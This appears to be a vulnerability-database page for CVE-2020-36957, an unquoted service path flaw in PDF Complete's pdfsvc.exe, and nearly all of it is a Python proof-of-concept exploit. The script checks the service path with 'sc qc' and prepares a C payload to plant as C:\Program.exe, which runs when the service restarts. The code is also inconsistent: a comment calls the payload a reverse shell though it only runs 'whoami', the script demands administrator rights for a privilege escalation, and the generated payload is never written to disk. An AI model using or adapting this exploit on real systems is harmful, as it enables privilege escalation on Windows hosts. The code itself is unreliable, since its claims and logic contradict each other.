CVE-2020-36957 | PDF Complete pdfsvc.exe 未引用服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2020-36957 PoC - PDF Complete Unquoted Service Path # This script demonstrates the unquoted service path vulnerability in pdfsvc.exe import os import sys import subprocess import ctypes def is_admin(): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_service_path(): """Check if pdfsvc.exe service has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'pdfsvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] Service pdfsvc found") if '"' not in result.stdout.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[!] Service path is unquoted - Vulnerable!") return True else: print("[-] Service path is quoted - Not vulnerable") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """Generate malicious executable for path hijacking""" if not is_admin(): print("[-] This exploit requires administrator privileges") return False if not check_service_path(): return False # Malicious payload - creates reverse shell malicious_code = ''' #include <windows.h> #include <stdio.h> int main() {{ STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); // Replace with actual payload char* cmd = "cmd.exe /c whoami > C:\\\\poc_result.txt"; CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); return 0; }} ''' print("[+] Payload generated - Compile and place as C:\\Program.exe") print("[+] Then restart the pdfsvc service to trigger execution") return True if __name__ == "__main__": exploit()